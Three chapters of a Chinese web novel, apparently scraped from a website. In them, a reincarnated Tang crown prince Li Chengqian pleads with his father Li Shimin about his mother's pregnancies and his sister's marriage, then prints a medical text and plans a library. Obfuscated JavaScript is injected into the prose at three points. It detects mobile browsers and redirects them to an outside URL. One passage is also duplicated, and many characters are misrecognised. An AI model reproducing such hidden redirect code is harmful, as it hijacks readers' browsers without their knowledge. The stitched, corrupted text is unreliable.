这日刚好是休沐日,没人上朝,阿耶大概率一个人待在显德殿看书。李承乾拿上数据就往显德殿走去。显德殿内,李世民正歪坐着看书,听说太子求见,就让人把他带进来。 李世民前几日知道妻子有孕,自己又将有子嗣,心情大好。见到长子进来,他不免笑道:“承乾来了,怎么,来寻阿耶有事吗?”李承乾点头,将长安县女子生育的数据交给父亲:“我想先请阿耶看看这些。” 李世民接过纸张,好奇道:“这是什么?” 李承乾答道:“这是前两日我请裴相公帮我统计的长安县女子的生育数据。长安是帝都,极少受战火侵扰,子民生活安宁,虽然称不上是大富大贵,但也能说一句衣食无忧。” 李世民极为聪明,他仔细看着长子交给他的数据,看着看着,脸色就逐渐沉了下去:“承乾,你这是什么意思?” 李承乾叹道:“阿耶应该能从纸上看出来,生育子女数量多的妇人,大多寿命不长。所以,为了阿娘的寿数着想,请阿耶对阿娘少些亲近吧。” 李世民大怒:“李承乾!你可知道你在胡说些什么?” 李承乾缓缓略下,重重地磕了一个头,他直起身,平静地看向父亲:“阿耶,自从阿娘生了我、青雀和丽质,便久病缠身,多年未学。虽然也有为阿婆守孝的关系在,但阿娘的身体有损,和她接连生育 也是脱不了关系的。女子生育,本就是在鬼门关上走了一遭。这次阿娘再次有孕,承乾实在害怕失去母亲,还请阿耶成全。" 说罢,他又重重地磕了几个头。 唐代并不常用跪拜之礼,便是君臣之间都极少用到。更何况李承乾是太子,也只有祭祀宗庙祖宗的时候才会让他拜一拜。李世民被长子的这一举动惊到,他连忙抱住长子:“承乾,承乾,你先停下来, 你先停下来。" 李承乾刚才磕得太用力,此时额头已经青了一大片,他有些头晕,拽住父亲的衣袖,哀求道:“那阿耶答应我好不好?” 李世民有些犹豫:“虽说大多数的女子会因为生育过多而短寿,可你母亲和这些民间女好不同。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李承乾红着脸,吞吞吐吐扭扭捏捏:“阿耶应该知道怎么使女子有孕吧……所以只要不送…入体……那个……就不会怀孕吧,所以你们俩……”说完这些话,李承乾只觉得脸热冒汗。 李世民看着长子,却似笑非笑道:“承乾,你如今不过九岁,是如何知道这些房 ·中·事的?”房中事这三个字被李世民咬得格外用力。李承乾看到他阿耶这一副要吃小孩的样子,拔腿就往外跑。 恰好此时,长孙无音从殿外进来。李承乾连忙转了个弯,生怕撞到母亲,一时间失去平衡,重重摔在地上。 长孙无音担心坏了,连忙把长子从地上拉起来,语气里充满担忧:“承乾,有没有摔到哪里?” 李承乾从地上爬起来,摇摇头:“阿娘,我没事。” 长孙无音伸手摸了摸他额头上的淤青:“你这头上是怎么回事?” 又见李世民走过来,脸色还有泪痕,不免奇怪道:"二郎,你刚才哭过了?" 李世民才听完长子的那些话,一时间看见活生生的妻子站在自己眼前,竟不知道该作何反应:“音娘,你有孕在身,怎么突然过来了?” 长孙无音道:“有内侍向我来报,说你们父子俩在殿内吵起来了。我担心你们,所以过来看看。二郎,若是承乾有什么做得不好的地方,他如今毕竟年纪还小,你好好教他便是,怎么吵起来了呢?” 李承乾知道大概是刚才阿耶吼他的声音太大,被外面的宫人听到误会了。他连忙解释道:“阿娘,你误会了。我和阿耶没有吵架啊?” 长孙无音心疼地摸了摸李承乾额头上的那片淤青:“那这是怎么回事?” 李承乾露出天真无邪的笑容:“阿娘,这是刚才我在殿内跑得太快,不小心撞到的。” 他后退两步,扯了扯父亲的衣袖:“阿耶也是因为心疼我,才哭的。是吧,阿耶?” 李世民被长子这厚颜无耻的姿态震撼得说不出话,面对寻求答案的妻子,只能道:"……是、是啊。" 26、妹妹·蚕·棉花 长孙无音盯着这对父子俩看了一会儿,她清楚地知道这两人在撒谎。但既然一郎愿意为了承乾圆谎,就证明父子俩之间并没有发生嫌隙,她对事情的原委也就不再深究。长孙无音摸了摸长子那已经淤青的额头,嘱咐道:“承乾,乖乖听你阿耶的话,不要惹他生气,知道吗?”李承乾点点头:“放心吧,阿娘。” 李世民见状咳嗽了一声:“音娘,你有孕在身,先回去好好休息吧。我让人送你回去。”等到看着长孙无音走远,父子俩对视一眼,这才松了口气。 李世民继续看着李承聪交给他的那份长安县女性生育数据,道:“承吃,你这个统计方法倒是不错,能看出不少东西。让我看看,横向比较的话,越早开始生育的妇人,不仅她们自己的考数会越短,她们 生的第一个孩子似乎寿命也不长。" 说到这里,李世民突然楞住,他的妻子长孙无音从+八岁开始生育,承乾的身体确实要比青雀差 些。承乾常年体弱,每到换季就爱生病,他一度以为要养不活这个儿子了。承乾说到唐书记载音娘时年三 十六时表情极为悲痛,那承乾他自己呢?他心爱的长子承乾又活了多少岁? 李世民张口想问,却又想起之前尚在秦王府时府医给承乾的诊断:郁结于心,恐毁考数。又想起承乾面对糖铺巨富买交时的翩然之姿,那时他虽觉得承乾的话过于超脱,心里虽有不安之感,但并未细想,如今想来,却已是骇然。承乾他如今才九岁,就算知道一些后世之事,也不该是这样超脱凡尘之态。他的长子究竟在后世的史书中看到了什么,才会变成这样? 李承乾正听着父亲说话,见他突然停下,不免疑惑道:"阿耶?" 李世民缓了缓神,不动声色地将心中所想遮掩过去:“承乾,阿耶刚才说得对不对?” 李承乾点头:“嗯,阿耶说得很对。所以阿耶前几日的那份诏书,其实并不太妥当。” 李世民知道李承乾指的是他鼓励民间婚配的诏书,里面有一条是男二十、女十五未有婚配者,官府出钱帮他们婚配。 李世民叹道:“其实不管是朕还是朝中大臣,又何尝不知道这一点呢?可是承乾,经过陷未几年的乱局,如今国中人口锐减,没有人口就没有徭役和赋税,这个国家又怎么继续运行下去呢?” 李承乾相起这一点,也叹了口气。其实阿耶的政令也算是颇具对子民的慈爱之心了。南北朝的婚育政策甚全比这更加严苛,“好十五不嫁,其家人连坐之”,增加徭役赋税。相比较起来,阿耶虽然也 鼓励生育,但至少还愿意让当地州县给聘礼帮助新人娶嫁。 李世民道:“做事不可一蹴而就,就算要废除这条政令,也得等将来人多了之后再说。” 李承乾沉默了一会儿,道:“女子生养不易,既然这样的话,那就更该大力发展医学了。” 李世民笑着摸了摸长子的头:“承乾,你现在不是已经在做了吗?” 李承乾点点头:“对了,阿耶,还有一件事,是关于丽质的婚事。” 李世民刚因为得知妻子会早逝的消息而倍感惊恐,这时又突然听长子提起嫡长女的婚事,不由道:“难道丽质也会早早离我而去吗?” 李承乾沉默片刻,点头:“阿耶别让丽质太早出嫁吧,女孩子太早生育不好。” 李承乾本来还想说说丽质的丈夫长孙冲。长孙冲是长孙无忌的箱长子,他和丽质是姑表兄妹,血缘关系大近。可李承乾又仔细想了想这世间适合妹妹的男子,既要出生高贵,又要年龄相仿,这世间这样 的人本来就不多。长孙冲好歹还能被阿娘召入盲中,和丽质也能从小培养感情.如果让妹妹嫁给一个从未见过的陌生男人,他更加不放心。而且女子嫁人,就算贵为公主,也不得不面对婆娘问题,舅弱长孙 无忌虽然为人圆滑,但对上却极为恭敬,高舅母也是看着丽质长大的,他们俩绝对不会怠慢丽质。 不像他的妹妹襄城公主,虽然丈夫兼锐是凌烟阁二十四功臣之一萧璃的儿子,算是出身高贵。但兼璃和阿翁李渊是同辈人,他的儿子萧锐和阿耶是同辈人,兼锐比襄城要年长许多,老夫少妻,感情再好 也有限。又因为萧璃的辈分足够高,襄城贵为帝王公主,居然还要侍奉公婆,简直可笑。 李承乾可舍不得自己的妹妹受这种委屈,所以在想出更适合丽质的丈夫人选之前,倒不太好把长孙冲剔除出去。 李世民叹道:“承乾,你不知道,这世间不仅好女子难寻,便足男子也是一样的。适合丽质身份的丈夫本来就少,若是一再拖下去,只怕再生变故。”就算是皇帝的女儿,人家大好青年也不可能-直不 娶妻等着公主下降。 李承乾道:“那可以先让丽质订婚,之后的事之后再说。”反正他阿耶是有给女儿悔婚的前科在的。 李世民摇摇头:“承乾,我倒是被你绕进去了。丽质如今才七岁,她的婚嫁之事,还为时尚早呢。” 李承乾道:"所以我才提前嘱咐阿耶,别把丽质早早地嫁出去。" 李世民捏了一下儿子的脸蛋:“你小小年纪,怎么这么爱 操心?” 李承乾不由想起前世,妹妹丽质是在他被废大子后骤然离世的,丽质的病皆因他而起,他怎么能不为丽质打算呢?他的妹妹,死的时候才二十三岁啊,那么年轻。他自知有罪,可上天为什么要连累他的 妹妹呢? 李承乾没有再继续这个话题,只道:“阿耶,今日之事,别告诉阿娘和丽质。” 李世民道:“这我当然知道。” 李承乾笑了笑:“阿耶,承乾先行告退。” …… 三月癸巳,皇后亲蚕。 因为亲蚕礼极为繁琐,李承乾一直提心吊胆,担心母亲会出什么意外,好在最后一切顺利,什么事也没有发生。亲蚕礼之后,宫里几个年纪相仿的女孩子都分到了几条蚕宝宝。李丽质对蚕宝宝们极为上心,不仅亲自给蚕宝宝们准备干净的水和桑叶,就连蚕的粪便也不假手于人,一定要亲自打扫。 李承乾去看望妹妹的时候,看到的就是这幅场景。 李丽质抬头就看到了阿兄,立刻从蚕室里跑出来,兴奋地扑过来。只是她忘了手上还拿着装蚕沙的竹制小簸箕,跑过来的时候刚好倒了李承乾满身。 李丽质讪讪地后退:“阿兄,对不起。” 李承乾拍了拍倒在衣服上的蚕沙,笑道:“这倒是无妨。蚕沙又不臭,况且它还能入药呢。” 李丽质好奇道:“这东西也能入药吗?” 李承乾点头:“汉代《名医别录》里说,此物主肠鸣,热中,消渴,风痹,也可治女子血崩之症。” 李丽质懵懂地点点头:“阿兄现在除了典籍,连医书都要学吗?” 李承乾笑道:“这倒不是,只是闲着无聊看看罢了。你这些日子跟着乳娘读书,都学了些什么?” 李世民虽然让女儿和儿子一样,都要读书,但对他们的要求却不尽相同。对儿子,特别是太子李承乾,自然要请名师指导。但对几个女儿的学习,却要宽松得多,先让她们的乳娘给她们启蒙,学点规 矩,若是还想进学,之后再慢慢学就是了。 提起读书,李丽质小朋友忍不住撅起嘴:“左不过就是《千字文》、诗三百这些东西,无趣得很。” 李承乾闻言,却也不好多说什么,毕竟小孩子读书学习,本来就该打好基础。他不由得把话题转回来:“丽质,你养这么多蚕,是要做点什么吗?” 说起这个,李丽质立刻兴奋道:"我想给阿翁、阿耶、阿娘和阿兄都做件衣服。" 李承乾不由被妹妹的可爱想法逗笑:“丽质,如果要做那么多人的衣服的话,这些蚕结的蚕茧恐怕不够用呢。” 李丽质吃惊得张大嘴:“可是,我养了这么多蚕呀!” 小孩子所谓的多,也不过是一张蚕匾而已,里面的蚕又养的稀疏,结出来的蚕茧最多织几块手帕而已。李承乾给妹妹讲了这点蚕最多能织几条帕子。李丽质有点失望,她只好道:"那我给阿翁、阿耶、阿娘和阿兄做个香袋好了。" 李承乾笑道:“那我就先提前谢过丽质了。”他给丽质出了个主意:“丽质,不如你把自己养蚕的过程画下来,旁边写上文字,记录一下你在养蚕的时候遇到了什么困难,又是怎么解决的。到时候阿兄 帮你做成一本小册子,你献给阿耶,他一定会高兴的。" 李丽质重重点头:“嗯。” …… 李承乾从妹妹那里回到自己的居所。因为刚才在丽质那里提到蚕茧织布,他不免想到了另一种重要的衣料原料——棉花。 唐时的布料主要就两种,一种是由蚕丝制成的丝绸,只有贵族才耗费得起;另一种,则是用麻纤维制成的麻布,比较粗糙,多用于平民。若是到了冬日,上层贵族自然可以用蚕丝被、毛皮取暖;而底层 平民就只能穿纸衣、纸被取暖。幸好唐代前期属于气候温暖期,才不至于有太多平民冻死冻伤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798187|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过,最好还是先把棉花引进进来比较好,毕竟种植棉花耗费的功夫比养蚕要少多了。 他记得棉花大概是在南北朝时期传入中国的,但最开始只被当做花卉欣赏,得想办法让人在长安城内找找看有没有人种植。再不行,就只能向外寻找了。 操心?” 李承乾不由想起前世,妹妹丽质是在他被废大子后骤然离世的,丽质的病皆因他而起,他怎么能不为丽质打算呢?他的妹妹,死的时候才二十三岁啊,那么年轻。他自知有罪,可上天为什么要连累他的 妹妹呢? 李承乾没有再继续这个话题,只道:“阿耶,今日之事,别告诉阿娘和丽质。” 李世民道:“这我当然知道。” 李承乾笑了笑:“阿耶,承乾先行告退。” …… 三月癸巳,皇后亲蚕。 因为亲蚕礼极为繁琐,李承乾一直提心吊胆,担心母亲会出什么意外,好在最后一切顺利,什么事也没有发生。亲蚕礼之后,宫里几个年纪相仿的女孩子都分到了几条蚕宝宝。李丽质对蚕宝宝们极为上心,不仅亲自给蚕宝宝们准备干净的水和桑叶,就连蚕的粪便也不假手于人,一定要亲自打扫。 李承乾去看望妹妹的时候,看到的就是这幅场景。 李丽质抬头就看到了阿兄,立刻从蚕室里跑出来,兴奋地扑过来。只是她忘了手上还拿着装蚕沙的竹制小簸箕,跑过来的时候刚好倒了李承乾满身。 李丽质讪讪地后退:“阿兄,对不起。” 李承乾拍了拍倒在衣服上的蚕沙,笑道:“这倒是无妨。蚕沙又不臭,况且它还能入药呢。” 李丽质好奇道:“这东西也能入药吗?” 李承乾点头:“汉代《名医别录》里说,此物主肠鸣,热中,消渴,风痹,也可治女子血崩之症。” 李丽质懵懂地点点头:“阿兄现在除了典籍,连医书都要学吗?” 李承乾笑道:“这倒不是,只是闲着无聊看看罢了。你这些日子跟着乳娘读书,都学了些什么?” 李世民虽然让女儿和儿子一样,都要读书,但对他们的要求却不尽相同。对儿子,特别是太子李承乾,自然要请名师指导。但对几个女儿的学习,却要宽松得多,先让她们的乳娘给她们启蒙,学点规 矩,若是还想进学,之后再慢慢学就是了。 提起读书,李丽质小朋友忍不住撅起嘴:“左不过就是《千字文》、诗三百这些东西,无趣得很。” 李承乾闻言,却也不好多说什么,毕竟小孩子读书学习,本来就该打好基础。他不由得把话题转回来:“丽质,你养这么多蚕,是要做点什么吗?” 说起这个,李丽质立刻兴奋道:"我想给阿翁、阿耶、阿娘和阿兄都做件衣服。" 李承乾不由被妹妹的可爱想法逗笑:“丽质,如果要做那么多人的衣服的话,这些蚕结的蚕茧恐怕不够用呢。” 李丽质吃惊得张大嘴:“可是,我养了这么多蚕呀!” 小孩子所谓的多,也不过是一张蚕匾而已,里面的蚕又养的稀疏,结出来的蚕茧最多织几块手帕而已。李承乾给妹妹讲了这点蚕最多能织几条帕子。李丽质有点失望,她只好道:"那我给阿翁、阿耶、阿娘和阿兄做个香袋好了。" 李承乾笑道:“那我就先提前谢过丽质了。”他给丽质出了个主意:“丽质,不如你把自己养蚕的过程画下来,旁边写上文字,记录一下你在养蚕的时候遇到了什么困难,又是怎么解决的。到时候阿兄 帮你做成一本小册子,你献给阿耶,他一定会高兴的。" 李丽质重重点头:“嗯。” …… 李承乾从妹妹那里回到自己的居所。因为刚才在丽质那里提到蚕茧织布,他不免想到了另一种重要的衣料原料——棉花。 唐时的布料主要就两种,一种是由蚕丝制成的丝绸,只有贵族才耗费得起;另一种,则是用麻纤维制成的麻布,比较粗糙,多用于平民。若是到了冬日,上层贵族自然可以用蚕丝被、毛皮取暖;而底层 平民就只能穿纸衣、纸被取暖。幸好唐代前期属于气候温暖期,才不至于有太多平民冻死冻伤。 不过,最好还是先把棉花引进进来比较好,毕竟种植棉花耗费的功夫比养蚕要少多了。 他记得棉花大概是在南北朝时期传入中国的,但最开始只被当做花卉欣赏,得想办法让人在长安城内找找看有没有人种植。再不行,就只能向外寻找了。 27、线装书·序言·图书馆 李承乾还没想好让什么人去帮他找棉花。前世跟随他的手下,现在大部分都还是小屁孩。他又还没及冠,朝中大臣虽然会看在他是太子的份上帮点小忙,但还不至于结交讨好年仅九岁的太子。如果他不想 去求助阿耶的话,手下能用的人就只有长孙家和高家的亲戚。 李承乾正思考着,便有宫人来报,说长孙家庆求见。 李承乾连忙道:“快把表兄请进来。” 长孙家庆进殿之后,先对着李承乾行礼,然后才从怀里掏出几本线装书放在李承乾的案前:“殿下,这是目前试印好的《伤寒杂病论》,请您过目。” 李承乾笑道:“在我宫内,表兄不必如此拘谨,坐吧。你先吃些茶点,我仔细看看。” 长孙家庆又恭敬地行了一礼:“多谢殿下。” 李承乾开始仔细查看起这本装订好的《伤寒杂病论》。 《伤寒杂病论》是汉代名医张仲景写的,后来逐渐失传。直到晋人王叔和将各种残本抄本重新整理,才让这本书重新现世。 只是从晋朝到唐初,也有几百年的历史了。陷唐时期虽然有胜版印刷术但大多用于刻印佛经或是儒家经典,很少会用来印刷医书。李承的交给面权、孙思邀等人校对的《伤寒杂病论》底本,也是官中的 手抄藏书,难免会有抄错、抄漏或是字迹模糊不清的情况。再加上汉代、晋代很多药材的名字和现在的药材可能会有所差异,所以还需要甄权、孙思邈等人加以注释、修正。 李承乾仔细翻看了整本印刻好的《伤庭杂病论》,字迹印刷清晰,有句读标点和底下的各种注释,甚至对于某些药方中容易混者的药材,还特意画了草药的图避免误采,在目前这个时代可以算是很出色的 医药类书籍了。 李承乾满意地笑了笑,对长孙家庆说道:“这些日子,辛苦表兄了。” 长孙家庆连忙起身行礼:“不敢不敢,成书一事是甄医和孙医的功劳。能这么快将此书印成,还多亏了殿下之前所提的铜活字印刷之法。” 李承乾笑道:“表兄实在不必过谦,印刻之事涉及人力钱粮极多,我看过表兄之前报上来的账目,并无缺漏之处。表兄能将此事打理得井井有条,自然有表兄的一份功劳。走吧,随我去显德殿见阿 耶。” 长孙家庆一下子愣住,不免有些结结巴巴的:“还、还需要去拜见陛下吗?” 李承乾道:“我既要让此书发行天下,自然需要找阿耶为此书作序。走吧,家庆表兄。” …… 东宫显德殿内。 李世民正在和群臣商议访贤访后之事。没办法,李世民是马上打下的天下,他身边的人才除了房玄龄杜如响之外,大部分都是武将出身。所以面对急需人才建设大唐的局面,李世民除了通过科举考试选拔人才之外,还需要访贤访后。 所谓访贤,就是去找那些隐居民间的有才能的人,至于访后,则是去找之前几个朝代中有名的大臣的后代。这些名臣的后代就算 时间落魄了,但家中至少还有藏书,又受到先祖思想品德的秉陶,出人才的概率比较高,比在民间大海捞针强多了。 听闻太子李承乾求见,李世民干脆停下,看看长子会有什么事。 李承乾走进来的时候才发现,殿内房玄龄、杜如晦、长孙无忌、魏征等人都在。他先对着父亲李世民行礼,然后殿内的大臣又纷纷向他这个太子见礼。至于紧跟着进来的长孙家庆,因为在殿内他地位最低,只能依次向众人行礼。 李世民道:“承乾来此,是有什么事吗?” 李承乾把长孙家庆交给他的线装书命内侍呈交给父亲,解释道:“阿耶,这是试印的《伤寒杂病论》,我想请阿耶为它作序,发行全国。” 李世民翻了翻这几册线装书,有些诧异道:“这书怎么是这样装订的?与往常的书似乎不大一样?” 唐代书籍的装帧方式多以简册、卷轴装、经折装为主。简册就是用竹简或木简编连成册,李承乾在官中藏书处找到的很多珍贵的古书,至今还是写在竹简上的。卷轴装则是把文章写在很长的 张纸上, 未端粘一根木轴或竹轴,不用的时候可以把整卷书卷成一个圆柱体,方便使用。经折装顾名思义,就像古代的佛教经书一样,有很长的一条,收起来的时候会变成“折本”。 至于李世民手上的线装书,宋代才开始出现,并在明代盛行。 李承乾让长孙家庆装帧《伤寒杂病论》时,就采用了线装书的装帧方法。 李承乾答道:“《伤寒杂病论》大约有五万多字,再加上两位医者校正批注,便有六万字了,若是用经折装,书就会变得太厚,而且读起来也不方便。” 李世民连连点头:“这个装帧方法倒是不错。”用卷轴装、经折装装订的书实在太长,万一掉在地上,往外一滚,就会出现很长的一条纸,收抬起来极不方便。 长孙无忌作为皇亲国戚,率先对李世民道:“陛下,让臣等也看看此书吧。” 李世民挥挥手,便让内侍将剩下的几册书分给殿内的大臣。 几位大臣将书拿到手里之后,立刻明白 了这样装帧书籍的好处,打开书一看,字迹工整清晰,更是远胜木质雕版印刷出来的书。魏征作为好书之人,更是感叹道:“这样的装帧和印刻,居然只用于医书,实在是暴殄天物。”杜如晦就站在魏征旁边,听到魏征这样说,不免戳了他一下,作为提醒。这医书可是太子殿下要印刻的。魏征得到提醒,不免有些讪讪的,他只是一时感慨,并没有要针对太子的意思。李承乾闻言笑道:“若是魏左丞将来要出文集,也可以依照此法印刻装帧啊。” 魏征间言有些高兴,作为想要在后世留下美名的人,能在世间流传自己的作品当然是最好。只是想到他家贫,虽然如今的俸禄已经能够养活家人,但印书耗费的钱粮巨大,他恐怕负担不起。想到这次,魏征不免问道:“不知殿下印刻此书,花费几何?” 李承乾看向长孙家庆,让他回答。 长孙家庆大概说了一个数,这比平时的雕版木刻要贵上数倍。但同时他又解释道:“虽然此次印刻耗费的钱粮比胜版木刻要多,但这铜活字只要没有磨损,便是可以一直使用的。因为殿下要印万册书, 所以算起来每册书的均价反而比雕版木刻要低呢。若是印更多的书,均价就更低了。" 殿内众人闻言,不免都有些心动。传书于世,可是古代文人的终极理想啊。特别是长孙无忌,他可不像魏征那么穷,他是有钱印书的。 李世民观在场众人神色,便知他们心中所想,笑道:“好了,你们把心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798188|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都收一收吧。承乾,此序阿耶会帮你写,只是你印刻那么多书,又要分给谁呢?”李承乾道:“我想请阿耶帮忙,将此书分发至府州医学并府学、州学、县学。”李承乾倒不是不原把书分给平民,只是要想看懂《伤寒杂病论》,至少需要先识字,那人群的可选范围就很小了。 李世民点头:“这主意倒是不错。” 李承乾道:“阿耶,承乾还有一事相求。” 李世民:“说吧。” “我年幼时的启蒙之书,此时已经不大读了,与我无用。“李承乾道,“我想把阿娘给我的那所小宅,改成图书馆,将我幼年所读之书,藏书于馆,供长安百姓进馆闷览。若是有人想要抄书,便让其 写两册,一册归他,一册归馆,以便丰富馆中书籍数量。" 李承乾现在虽然才九岁,但以前读的很多书现在其实都用不到了。而且他手上光是毛诗就有好多个手抄本,已经能够捐出去一些了。李世民点头:“藏学于民,看来承乾如今大有长进。只是就你那么几百册书,不好称为馆吧。”李承乾看向殿中诸位大臣:“若是诸位相公家中有用不上的书,不知可否借一些出来,用于馆藏?”殿中众人纷纷傻眼,唐时图书珍贵,若是借出去被人损坏了怎么办? 魏征率先道:“殿下此举,长安百姓皆受益。臣家中还有几箱书,家中子孙一时间也用不上。待臣整理之后,便送到图书馆中。”李承乾笑道:“那承乾就先谢过魏左丞了。只是现下还不急,那图书馆还没有改造好呢。”李世民眼看着殿中大臣纠结为难,忙道:“好了,承乾,序言阿耶会帮你写好的,没什么事的话你和家庆就先回去吧。” 李承乾行礼:“承乾告退。” 长孙家庆随即道:“微臣告退。” 等到李承乾和长孙家庆走后,李世民才对殿内众人道:“太子刚才所言,虽然有些天真,却也是一片为民之心。你们若是觉得为难,家中的孤本就不必借出来了。”反过来说,如果是没那么珍贵的书,还是借出一些丰富馆藏吧。 在场众人都读懂了陛下的言外之意,纷纷道:“臣等遵旨。” …… 李承乾带着长孙家庆回到自己的宫室,对他道:“表兄,等到阿耶把《伤寒杂病论》的序言写好,就可以正式开印了。” 长孙家庆点头:"臣明白。" 李承乾道:“还有一件事,我想让表兄派人帮我寻一种花。此花长绿芽,叶宽,花冠白或淡黄,然后会逐渐变成淡红或紫色。等到花谢结果,炸开,内有白毛。” 长孙家庆立刻道:“殿下所说的花,应该是指白叠花吧。” 李承乾惊讶道:“表兄见过?” 长孙家庆点头:“之前臣在洛阳的时候在一户人家的庭中见过,那家主人说这是西域传过来的白叠花,因为此花结果之后多子,所以有子嗣绵绵之意。” 李承乾兴奋道:“我要的就是这个。表兄还记得那户人家住在哪里吗?可否购制一些种子?” 长孙家庆虽然不知道大子殿下为什么想要这种花,但还是道:“这倒是不难,臣与那家主人交好,只需书信一封,派家中仆人去洛阳趟就可以了。只是长安到洛阳毕竞有些路程,殿下可能还需要等些 时日。” 李承乾道:“这倒是不急,我等着就是了。”